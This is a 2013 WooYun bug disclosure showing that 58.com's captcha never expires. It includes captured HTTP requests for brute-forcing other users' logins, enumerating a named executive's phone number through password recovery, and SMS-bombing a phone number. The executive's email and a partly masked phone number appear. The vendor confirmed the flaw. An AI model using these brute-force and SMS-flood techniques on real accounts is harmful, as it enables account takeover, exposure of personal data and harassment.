当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038329

漏洞标题:58同城某处鸡肋设计缺陷的三种猥琐利用~

相关厂商:58同城

漏洞作者: niliu

提交时间:2013-09-27 12:18

修复时间:2013-11-11 12:19

公开时间:2013-11-11 12:19

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-27: 细节已通知厂商并且等待厂商处理中
2013-09-27: 厂商已经确认,细节仅向厂商公开
2013-10-07: 细节向核心白帽子及相关领域专家公开
2013-10-17: 细节向普通白帽子公开
2013-10-27: 细节向实习白帽子公开
2013-11-11: 细节向公众公开

简要描述:

#鸡肋烤的好了吃着也香~
#对之前提交的一个没有通过的鸡肋设计缺陷的三种猥琐利用~
#~1可修改他人账号密码并成功登陆~
#~2可获取58内部领导手机号~
#~3对获取的58内部领导手机号进行短信轰炸~

详细说明:

利用之前一个小缺陷可实现以下3个方面的利用
#~1可修改他人账号密码并成功登陆~
#~2可获取58内部领导手机号~
#~3对获取的58内部领导手机号进行短信轰炸~
---------------------------------------------------------------------
问题描述:验证码没有限制有效次数,可多次使用
#~1可修改他人账号密码并成功登陆~
登陆页面验证码无使用次数限制可暴力破解他人账号
首先以用户admin密码123456正常登陆几次,因为前几次登陆是没有验证码的,所以等弹出验证码后再登陆,登陆时抓包

1.jpg


POST /dounionlogin HTTP/1.1
Host: passport.58.com
Proxy-Connection: keep-alive
Content-Length: 556
Cache-Control: max-age=0
Origin: http://passport.58.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Maxthon/4.0.3.6000 Chrome/22.0.1229.79 Safari/537.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
DNT: 1
Referer: http://passport.58.com/login?path=http%3A%2F%2Fmy.58.com%2Fmyseekjob%2F1
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: @#¥…&%*%…#¥%
isweak=1&path=http%3A%2F%2Fmy.58.com%2Fmyseekjob%2F1%3Fpts%3D1380250216822&p1=81258169aec0e3c8bef5475baf3cb569&p2=662512780135bf0052f54e50140d8790&p3=81c7f75b45073d4e50c808255cfe48a244f7596a079ac943da4bdeadeb55efed7f7ee1ab4ebfeac9e6d8b834d2d7ccc2f16ab5ec3c4399416573963999eb7d212daf58024b346fc05101221973e354525894a5f4088e61446b9b7866be6aab6a7ee0012713a11c2d1e452fe13434b9064b2a1f94a18dbc65d90c43a66afebd31&timesign=1380250281659&ptk=ffe232eb18464856839b4b5c42a2e438&cd=1864&username=admin&password=password&validatecode=de22q&mcresult=48484849485349505453


然后以密码不变,对用户名参数username进行破解

2.jpg


根据测试得知返回包长度为628的可登陆成功
shi:123456 登陆时会跳转到一个更改密码的页面

3.jpg


旧密码就是123456,虽然需要填写手机接收验证码但是填写自己的可以成功接收并更改密码。
登陆截图
用户shi

4.jpg


用户简历

5.jpg


用户 xie

6.jpg


用户密码都被修改了,你说能干什么呢?
---------------------------------------------------------------------
#~2可获取58内部领导手机号~
找回密码页面验证码同样的问题,可根据邮箱找回密码获取用户手机号码
这里就对姚劲波的邮箱做个测试

http://passport.58.com/forgetpassword


填写好邮箱yaojb@58.com验证码提交

7.jpg


来到验证页面
根据提示可得知前7位手机号为13910**
后四位暂时写1111,提交时抓包

8.jpg


GET /forgetbymobile?mobile=13910**§1111§&validatecode=HDSZN HTTP/1.1
Host: passport.58.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Maxthon/4.0.3.6000 Chrome/22.0.1229.79 Safari/537.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
DNT: 1
Referer: http://passport.58.com/resetbymobile
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: #@##¥……&#¥


对手机号参数mobile的后四位1111进行破解

9.jpg


根据返回包才长度可得知手机号后四位为70**
这样就得到了姚劲波的手机号,当然不限于他的手机号,这里就不再做其他证明了。
---------------------------------------------------------------------
#~3对获取的58内部领导手机号进行短信轰炸~
得到手机号了有什么用处呢?
继续猥琐,手机号进行一次短信轰炸,当然这里掩饰就拿自己手机号测试~
利用之前的方法获取到真实手机号后,填写好,点发送确认码时抓包

GET /forgetbymobile?mobile=186******04&validatecode=pakpe HTTP/1.1
Host: passport.58.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Maxthon/4.0.3.6000 Chrome/22.0.1229.79 Safari/537.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
DNT: 1
Referer: https://passport.58.com/resetbymobile
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: @#¥%


这里前端虽然做了短信验证码接受时间限制,但是通过抓包发包可绕过限制进行短信轰炸~
拿自己手机测试截图

11.png


姚总日理万机我就不骚扰他了~

漏洞证明:

综上所述~

修复方案:

对验证码有效使用次数做限制~
顺便求个58的小礼物吧~
:D

版权声明:转载请注明来源 niliu@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2013-09-27 14:35

厂商回复:

感谢对58的关注和支持!我们会尽快修复处理!
晚些时候会索要联系方式,礼品是必须的!

最新状态:

暂无